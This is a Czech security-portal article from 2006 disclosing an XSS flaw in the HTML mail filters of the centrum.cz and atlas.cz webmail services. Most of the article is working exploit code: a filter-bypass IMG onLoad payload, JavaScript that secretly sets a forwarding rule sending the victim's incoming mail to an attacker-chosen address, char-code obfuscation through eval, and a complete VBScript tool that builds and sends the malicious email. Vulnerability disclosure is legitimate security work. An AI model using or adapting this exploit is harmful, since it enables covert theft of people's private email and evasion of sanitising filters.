Exploit na mail u centrum.cz a atlas.cz

Vložil/a mr.sysel [1], 6 Červen, 2006 - 21:37

- Exploit [2]
- Hacked Gallery [3]
- Hacking [4]
- Security [5]
- Top Secret [6]

Objevil jsem bezpečnostní trhlinu na dvou velkých českých freemailech atlas.cz a centrum.cz, pomocí které je možné číst poštu libovolného uživatele.

Zranitelnost se nachází ve filtru, který odstraňuje potencionálně nebezpečné HTML elementy, nacházející se v obsahu došlých emailů, formátovaných pomocí HTML. Pomocí speciálně napsaného HTML kódu je možné filtr obejít a vložit do těla emailu JavaScript. Pokud se uživatel přihlásí ke svému účtu přes webové rozhraní a zlomyslný e-mail otevře, script se provede v kontextu jeho session s webovým serverem.

Filtr kontrolující došlé emaily parsuje jejich obsah tak, že všechno, co se nachází mezi znaky < > považuje za HTML tag, a to ostatní mimo za text. V obsahu HTML tagu, tedy v řetězci, začínajícím znakem < a končící znakem > pak hledá výskyt určitých klíčových slov a řetězec, nacházející se mimo nechá bez povšimnutí. Hledaná klíčová slova představují konstrukce, kterými se do HTML kódu vkládají různé client side scripty. Jsou to například názvy tagu jako <SCRIPT>, <OBJECT>, <APPLET>, a pak také názvy atributů onLoad, onKeyPress, onMouseMove atd. Pokud něco takového nalezne, odstraní celý HTML element nebo atribut, spolu s jeho hodnotou, protože tyto scripty umístěné v obsahu emailové zprávy představují riziko pro bezpečnost webové aplikace. Chyba parseru je v tom, že první výskyt znaku > po znaku < považuje vždy za konec HTML tagu, i bez ohledu na to, že se znak > nachází v hodnotě atributu uzavřené uvozovkami.

Např. tento kód

<IMG src="smile.gif" a=">
" onLoad="alert('Hello!');" b="<BR">

rozebere parser významově takto:

```
Tag:            <IMG src="obrazek.gif" a=">
Tag:            <BR>
Text:            " onLoad="alert('Hello!');" b="
Tag:            <BR">
```

Atribut onLoad="alert('Hello!');" se nachází v časti považované parserem za text, a proto ho filtr neodstraní. Webový prohlížeč však část onLoad="alert('Hello!');" bere jako atribut elementu IMG, kterým se přiradí k události onLoad akce prováděná JavaScriptem. Po kompletním načtení obrázku ze zadaného zdroje je vyvolána událost onLoad a JavaScript je proveden. Atributy a=">
" a b="<BR" prohlížeč ignoruje.

Když už známe způsob, jak do těla emailu vložit JavaScript, zbývá jenom možnost, jak toho šikovné využit. V uživatelském nastavení emailové schránky je k dispozici funkce tzv. filtrů, prostřednictvím které si může uživatel

nastavit např. přeposílání kopií došlých emailů na jím zadanou emailovou adresu. Nastavení se provede vyplněním a odesláním formuláře, ve kterém se zadávají vlastnosti filtru. Formulář se odesílá pomocí HTTP protokolu metodou GET nebo POST. Všechno, co potřebujeme je kód v JavaScriptu, který odešle data z formuláře zvolenou metodou. Příklad takového scriptu, který nastaví filtr pro přeposílání kopií došlých emailů na určitou adresu ve schránce na freemailu centrum.cz je zde

```
function createObj (obj) {
  try {
    return new ActiveXObject(obj);
  }
  catch(e) {
    return null;
  }
}

function main() {
  var userDir = "";
  var xmlHttp,p;
  var formData;
  var filterId;
  /* emailova adresa, na kterou bude prichozi posta preposilana */
  var redirToAddr = "test123@domain.cz";

    if (window.XMLHttpRequest) {
      xmlHttp = new XMLHttpRequest();
    }
    else {
      if (xmlHttp = createObj("Msxml2.XMLHTTP")) {
      }
      else {
        if (xmlHttp = createObj("Microsoft.XMLHTTP")) {
        }
              else {
                return;
        }
      }
    }

    if ((p = location.pathname.indexOf("/",1)) >= 0) {
      userDir = location.pathname.substring(0,p);
    }

    xmlHttp.open("POST", location.protocol + "//" + location.host +
                 userDir + "/filters.php");

    filterId = "-" + (300 + Math.ceil(Math.random() * 500));

    formData = "cond_count=1&op=2&fld=0&sort=dd&f_order_top=" +
      filterId + "&f_order_bottom=0&validity=1&f_hour_begin=0" +
      "&f_hour_end=24&f_cond_1=2&f_arg_1=&folder=0&address=&radio=" +
      "radio7&copyaddress=" + escape(redirToAddr) +
      "&email_notification=&mobil_send_part=" +
      "&mobil_send_part_list=%40sms.eurotel.cz" +
      "&sms_notification=&sms_notification_list=%40sms.eurotel.cz" +
      "&auto_reply=&f_order=" + filterId + "&submit=Vlo%9Eit";

    xmlHttp.setRequestHeader("Content-Type",
```

```
                                    "application/x-www-form-urlencoded");
      xmlHttp.send(formData);
  }

  main();
```

Uvedený JavaScript je vhodné před vložením do odesílaného emailu ještě zakódovat, aby znaky, které obsahuje nijak neovlivňovaly parsování HTML obsahu kontrolním filtrem. Provede se to jednoduše. Posloupnost znaků, ze kterých se JavaScript skládá se převede na posloupnost jejich ASCII hodnot, oddělených čárkou např. řatězac ABCD se konvertuje na 65,66,67,68. K dekódovaní se pak použije metoda fromCharCode() tridy String a řetězec, který vrátí se předá funkci eval(). Funkce eval() vyhodnotí řetězec v jeho původní podobě jako JavaScriptový kód.

```
<IMG src="smile.gif" a="><BR>"
onLoad="eval(String.fromCharCode(32,102,117,110,…))" b="<BR">
```

Na závěr uvádim WSH script napsaný ve VBScriptu, který email s exploitem sestaví a odešle. Pokud uživatel otevře email odeslany tímto scriptem přes webové rozhraní freemailu centrum.cz, kopie všech zpráv, které následně obdrží budou přeposlány na emalovou adresu, zadávanou jako vstupní argument.

Použití:

```
C:\CScript exploit.vbs <odesilatel> <prijemce> <presmerovatNa>

  <odesilatel> - Email odesilatele
  <prijemce> - Email prijemce
  <presmerovatNa> - Email, na ktery bude posta preposilana
```

```
Option Explicit

Dim Winsock

Main

Sub Ack
Dim buf,received

  buf = ""
  Do Until Right(buf,2) = vbCrLf
    If Winsock.BytesReceived > 0 Then
      Winsock.GetData received, vbString, 1024
      buf = buf & received
    End If
    WScript.Sleep 100
  Loop

  buf = Mid(buf,1,Len(buf) - 2)

  If Left(buf,1) > "3" Then
    Err.Raise 1,WScript.ScriptName,"Invalid response from server: " & buf
  End If

  WScript.Echo "Response: " & buf
End Sub
```

```
Sub Mail(ByVal remoteHost,ByVal remotePort,ByVal mailFrom,ByVal mailTo, _
         ByVal headers,ByVal message)

Dim recipients,recipient,reply,sendData

  Set Winsock = CreateObject("MSWinSock.WinSock")

  Winsock.RemoteHost = remoteHost
  Winsock.LocalPort = 0
  Winsock.RemotePort = remotePort

  WScript.Echo "Connection to " & remoteHost & ":" & remotePort
  Winsock.Connect
  Do Until Winsock.State = 7
    WScript.Sleep 100
  Loop

  ' prijme pozdrav serveru
 Ack

  sendData =  "HELO 127.0.0.1"
  WScript.Echo "Send: " & sendData
  Winsock.SendData sendData & vbCrLf
  Ack


  sendData = "MAIL FROM: <" &  mailFrom & ">"
  WScript.Echo "Send: " & sendData
  Winsock.SendData sendData & vbCrLf
  Ack

  recipients = Split(mailTo,",")
  For Each recipient In recipients
    If recipient <> "" Then
      sendData = "RCPT TO: <" & recipient & ">"
      WScript.Echo "Send: " & sendData
      Winsock.SendData sendData  & vbCrLf
    End If
    Ack
  Next

  sendData = "DATA"
  WScript.Echo "Send: " & sendData
  Winsock.SendData sendData & vbCrLf
  Ack

  Wscript.Echo "Send message body"
  Winsock.SendData headers & vbCrLf & vbCrLf & message & _
                   vbCrLf & "." & vbCrLf
  Ack


  sendData = "QUIT"
  WScript.Echo "Send: " & sendData
  Winsock.SendData sendData & vbCrLf
  WScript.Echo "Close connection"
  Winsock.Close
```

```
End Sub

Function QuotedPrintableEncode(ByVal str)
Dim i,charCode
Dim line,newLine,encodedChar
Dim length

  length = Len(str)
  i = 1
  Do While i <= length
    charCode = Asc(Mid(str,i,1))
    newLine = False
    If charCode = 13 And i < length Then
        If Mid(str,i + 1,1) = vbLf Then newLine = True
    End If

    If newLine Then
      If Right(line,1) = vbTab Or Right(line,1) = " " Then line = line & "="
      QuotedPrintableEncode = QuotedPrintableEncode & line & vbCrLf
      line = ""
      i = i + 1
    Else
      If ((32 <= charCode  And charCode < 126) And charCode <> 61) Or _
          charCode = 9 Then

        encodedChar = Chr(charCode)
      Else
        encodedChar = "=" & Hex(charCode \ 16) & Hex(charCode Mod 16)
      End If
      If Len(line) + Len(encodedChar) > 75 Then
        QuotedPrintableEncode = QuotedPrintableEncode & line & "=" & vbCrLf
        line = encodedChar
      Else
        line = line & encodedChar
      End If
    End if
    i = i + 1
  Loop

  If Right(line,1) = vbTab Or Right(line,1) = " " Then line = line & "="
  QuotedPrintableEncode = QuotedPrintableEncode & line
End Function

Function checkEmailAddr(ByVal emailAddr,user,host)
Dim parts,temp,i,j

  checkEmailAddr = False
  user = ""
  host = ""
  parts = Split(emailAddr,"@")

  If UBound(parts) <> 1 Then
    Exit Function
  End If

  For i = 0 To 1
    temp = LCase(parts(i))
    If Len(temp) > 0 Then
```

```
      For j = 1 To Len(temp)
        If Instr("abcdefghijklmnopqrstuvwxyz0123456789._-", _
                 Mid(temp,j,1)) = 0 Then
          Exit Function
        End If
      Next
    Else
      Exit Function
    End If
  Next

  user = parts(0)
  host = parts(1)
  checkEmailAddr = True
End Function

Function toCharCode(str)
Dim i

  toCharCode = ""

  For i = 1 To Len(str) - 1
    toCharCode = toCharCode & CStr(Asc(Mid(str,i,1))) & ","
  Next
  If Len(str) > 0 Then
    toCharCode = toCharCode & CStr(Asc(Mid(str,Len(str),1)))
  End If

End Function

Sub Main
Dim host,user
Dim mailFrom,mailTo,redirectTo
Dim header,messageBody,messageText,messageHTML
Dim boundary1,boundary2,imageCid
Dim javaScript
Dim smtpServAddr
Dim i

  If WScript.Arguments.Count <> 3 Then
    WScript.Echo "Pouziti: C:\CScript " & WScript.ScriptName & _
    " <odesilatel> <prijemce> <presmerovatNa>" & vbCrLf & vbCrLf & _
    "  <odesilatel> - Email odesilatele"  & vbCrLf & _
    "  <prijemce> - Email prijemce" & vbCrLf & _
    "  <presmerovatNa> - Email, na ktery bude posta presmerovana"
    WScript.Quit 1
    Exit Sub
  End If

  For i = 0 To 2
    If Not checkEmailAddr(WScript.Arguments.Item(i),user,host) Then
      WScript.Echo "Chybny E-mail. Argument cislo " & (i + 1)
    Else
      If i = 1 Then
        If LCase(host) <> "centrum.cz" Then
          WScript.Echo "Prijemce musi mit adresu na centrum.cz"
          Exit Sub
        Else
          smtpServAddr = "mail1.centrum.cz"
```

```
      End If
    End If
  End If
Next

mailFrom = WScript.Arguments.Item(0)
mailTo = WScript.Arguments.Item(1)
redirectTo = WScript.Arguments.Item(2)

javaScript = _
"32,102,117,110,99,116,105,111,110,32,99,114,101,97,116,101,79," & _
"98,106,32,40,111,98,106,41,32,123,32,116,114,121,32,123,32,114," & _
"101,116,117,114,110,32,110,101,119,32,65,99,116,105,118,101,88," & _
"79,98,106,101,99,116,40,111,98,106,41,59,32,125,32,99,97,116,99," & _
"104,40,101,41,32,123,32,114,101,116,117,114,110,32,110,117,108," & _
"108,59,32,125,32,125,32,102,117,110,99,116,105,111,110,32,109,97," & _
"105,110,40,41,32,123,32,118,97,114,32,117,115,101,114,68,105,114," & _
"32,61,32,34,34,59,32,118,97,114,32,120,109,108,72,116,116,112,44," & _
"112,59,32,118,97,114,32,102,111,114,109,68,97,116,97,59,32,118," & _
"97,114,32,102,105,108,116,101,114,73,100,59,32,118,97,114,32,114," & _
"101,100,105,114,84,111,65,100,100,114,32,61,32,34," & _
toCharCode(redirectTo) & _
",34,59,32,105,102,32,40,119,105,110,100,111,119," & _
"46,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,32,123," & _
"32,120,109,108,72,116,116,112,32,61,32,110,101,119,32,88,77,76," & _
"72,116,116,112,82,101,113,117,101,115,116,40,41,59,32,125,32,101," & _
"108,115,101,32,123,32,105,102,32,40,120,109,108,72,116,116,112," & _
"32,61,32,99,114,101,97,116,101,79,98,106,40,34,77,115,120,109,108," & _
"50,46,88,77,76,72,84,84,80,34,41,41,32,123,32,125,32,101,108,115," & _
"101,32,123,32,105,102,32,40,120,109,108,72,116,116,112,32,61,32," & _
"99,114,101,97,116,101,79,98,106,40,34,77,105,99,114,111,115,111," & _
"102,116,46,88,77,76,72,84,84,80,34,41,41,32,123,32,125,32,9,32," & _
"101,108,115,101,32,123,32,9,32,114,101,116,117,114,110,59,32,125," & _
"32,125,32,125,32,105,102,32,40,40,112,32,61,32,108,111,99,97,116," & _
"105,111,110,46,112,97,116,104,110,97,109,101,46,105,110,100,101," & _
"120,79,102,40,34,47,34,44,49,41,41,32,62,61,32,48,41,32,123,32," & _
"117,115,101,114,68,105,114,32,61,32,108,111,99,97,116,105,111,110," & _
"46,112,97,116,104,110,97,109,101,46,115,117,98,115,116,114,105," & _
"110,103,40,48,44,112,41,59,32,125,32,120,109,108,72,116,116,112," & _
"46,111,112,101,110,40,34,80,79,83,84,34,44,32,108,111,99,97,116," & _
"105,111,110,46,112,114,111,116,111,99,111,108,32,43,32,34,47,47," & _
"34,32,43,32,108,111,99,97,116,105,111,110,46,104,111,115,116,32," & _
"43,32,117,115,101,114,68,105,114,32,43,32,34,47,102,105,108,116," & _
"101,114,115,46,112,104,112,34,41,59,32,102,105,108,116,101,114," & _
"73,100,32,61,32,34,45,34,32,43,32,40,51,48,48,32,43,32,77,97,116," & _
"104,46,99,101,105,108,40,77,97,116,104,46,114,97,110,100,111,109," & _
"40,41,32,42,32,53,48,48,41,41,59,32,102,111,114,109,68,97,116,97," & _
"32,61,32,34,99,111,110,100,95,99,111,117,110,116,61,49,38,111,112," & _
"61,50,38,102,108,100,61,48,38,115,111,114,116,61,100,100,38,102," & _
"95,111,114,100,101,114,95,116,111,112,61,34,32,43,32,102,105,108," & _
"116,101,114,73,100,32,43,32,34,38,102,95,111,114,100,101,114,95," & _
"98,111,116,116,111,109,61,48,38,118,97,108,105,100,105,116,121," & _
"61,49,38,102,95,104,111,117,114,95,98,101,103,105,110,61,48,38," & _
"102,95,104,111,117,114,95,101,110,100,61,50,52,34,32,43,32,34," & _
"38,102,95,99,111,110,100,95,49,61,50,38,102,95,97,114,103,95,49," & _
"61,38,102,111,108,100,101,114,61,48,38,97,100,100,114,101,115,115," & _
"61,38,114,97,100,105,111,61,114,97,100,105,111,55,38,99,111,112," & _
"121,97,100,100,114,101,115,115,61,34,32,43,32,101,115,99,97,112," & _
"101,40,114,101,100,105,114,84,111,65,100,100,114,41,32,43,32,34," & _
```

```
"38,101,109,97,105,108,95,110,111,116,105,102,105,99,97,116,105," & _
"111,110,61,38,109,111,98,105,108,95,115,101,110,100,95,112,97," & _
"114,116,61,38,109,111,98,105,108,95,115,101,110,100,95,112,97," & _
"114,116,95,108,105,115,116,61,37,52,48,115,109,115,46,101,117,114," & _
"111,116,101,108,46,99,122,34,32,43,32,34,38,115,109,115,95,110," & _
"111,116,105,102,105,99,97,116,105,111,110,61,38,115,109,115,95," & _
"110,111,116,105,102,105,99,97,116,105,111,110,95,108,105,115,116," & _
"61,37,52,48,115,109,115,46,101,117,114,111,116,101,108,46,99,122," & _
"38,97,117,116,111,95,114,101,112,108,121,61,34,32,43,32,34,38," & _
"102,95,111,114,100,101,114,61,34,32,43,32,102,105,108,116,101,114," & _
"73,100,32,43,32,34,38,115,117,98,109,105,116,61,86,108,111,37," & _
"57,69,105,116,34,59,32,120,109,108,72,116,116,112,46,115,101,116," & _
"82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110," & _
"116,101,110,116,45,84,121,112,101,34,44,32,34,97,112,112,108,105," & _
"99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109," & _
"45,117,114,108,101,110,99,111,100,101,100,34,41,59,32,120,109,108," & _
"72,116,116,112,46,115,101,110,100,40,102,111,114,109,68,97,116," & _
"97,41,59,32,125,32,109,97,105,110,40,41,59,32"



Randomize
imageCid = Replace(Cstr(Rnd * 1000000),",","_") & "@ABCDEF"

messageText = "Zdravim, tohle je email, ktery obsahuje skodlivy kod. " & _
"Jste-li prihlaseni pres webove rozhrani a otevreli jste ho, mam od " & _
"tohoto okamziku moznost cist veskerou postu, ktera Vam prijde."

messageHTML = messageText & "<IMG src=" & Chr(34) & "cid:" & imageCid & _
Chr(34) & " a=" & Chr(34) & "><BR>" & Chr(34) & " onLoad=" & Chr(34) & _
"eval(String.fromCharCode(" & javaScript & "));" & Chr(34) & _
" b=" & Chr(34) & "<BR" & Chr(34) & ">"

boundary1 = "=ABCDEF_000001"
boundary2 = "=ABCDEF_000002"

header = _
"From: <" & mailFrom & ">" & vbCrLf & _
"To: <" & mailTo & ">" & vbCrLf & _
"Subject: Dulezite sdeleni" & vbCrLf & _
"MIME-Version: 1.0" & vbCrLf & _
"Message-ID: <" & Replace(Cstr(Rnd * 1000000),",","_") & "@ABDCEF"& ">" & _
vbCrLf & _
"Content-Type: multipart/related;" & vbCrLf & _
vbTab & "boundary=" & Chr(34) & boundary1 & Chr(34) & ";" & vbCrLf  & _
vbTab & "type=" & Chr(34) & "multipart/alternative" & Chr(34)

messageBody = _
"This is a multi-part message in MIME format." & vbCrLf & vbCrLf

messageBody = messageBody & _
"--" & boundary1 & vbCrLf & _
"Content-Type: multipart/alternative;" & vbCrLf & _
vbTab & "boundary=" & Chr(34) & boundary2 & Chr(34) & vbCrLf _
& vbCrLf & vbCrLf

messageBody = messageBody & _
"--" & boundary2 & vbCrLf & _
"Content-Type: text/plain;" & vbCrLf & _
```

```
  vbTab & "charset=" & Chr(34) & "windows-1250" & Chr(34) & vbCrLf & _
  "Content-Transfer-Encoding: quoted-printable" & vbCrLf & vbCrLf & _
  QuotedPrintableEncode(messageText) & vbCrLf & vbCrLf

  messageBody = messageBody & _
  "--" & boundary2 & vbCrLf & _
  "Content-Type: text/html;" & vbCrLf & _
  vbTab & "charset=" & Chr(34) & "windows-1250" & Chr(34) & vbCrLf & _
  "Content-Transfer-Encoding: quoted-printable" & vbCrLf & vbCrLf & _
  QuotedPrintableEncode(messageHTML) & vbCrLf & vbCrLf & _
  "--" & boundary2 & "--" & vbCrLf & vbCrLf

  messageBody = messageBody & _
  "--" & boundary1 & vbCrLf & _
  "Content-Type: image/gif;" & vbCrLf & _
   vbTab & "name=" & Chr(34) & "smile.gif" & Chr(34) & vbCrLf & _
  "Content-Transfer-Encoding: base64" & vbCrLf & _
  "Content-ID: <" & imageCid & ">" & vbCrLf & vbCrLf & _
  "R0lGODlhDwAPAMQfACf6FwylAAuYAIX8fET6NhDbABHrABLzAAMsAA/SAA2yA" & _
  "GT7WA/LAA69AJL8" & vbCrLf & _
  "ihDkADr6K378dA7DABv5CjD6II78hXX8apj8kGv7YFb7SRL4AFz7T0/7Qhj5B" & _
  "gAAAP///yH5BAEA" & vbCrLf & _
  "AB8ALAAAAAAPAA8AAAV64CeKXlmO6FcO1kYAJ+pdDrtB02F443xVEQyHojE8C" & _
  "jyVo1JyTUoFBs8T" & vbCrLf & _
  "GURKBGIpIWmUMJhFJpt7cBuKUoZDgAA6uig67YFQ3pp4Ah0IlCZ5BkYFXAoBAgJT" & _
  "RgiEDGgIiEke" & vbCrLf & _
  "RwkmJYiJPQmOCoaYST0efIcxKSqWKSEAOw==" & vbCrLf & vbCrLf & _
  "--" & boundary1 & "--" & vbCrLf

  Mail smtpServAddr,25,mailFrom,mailTo,header,messageBody

  WScript.ECho vbCrLf & "Message sent"
End Sub
```

Článek naleznete i na autorově stránce: http://callplayer.wz.cz/clanek.txt [7]

URL článku: https://security-portal.cz/clanky/exploit-na-mail-u-centrumcz-atlascz

Odkazy:
[1] https://security-portal.cz/users/mrsysel
[2] https://security-portal.cz/category/tagy/exploit
[3] https://security-portal.cz/category/tagy/hacked-gallery
[4] https://security-portal.cz/category/tagy/hacking
[5] https://security-portal.cz/category/tagy/security
[6] https://security-portal.cz/category/tagy/top-secret
[7] http://callplayer.wz.cz/clanek.txt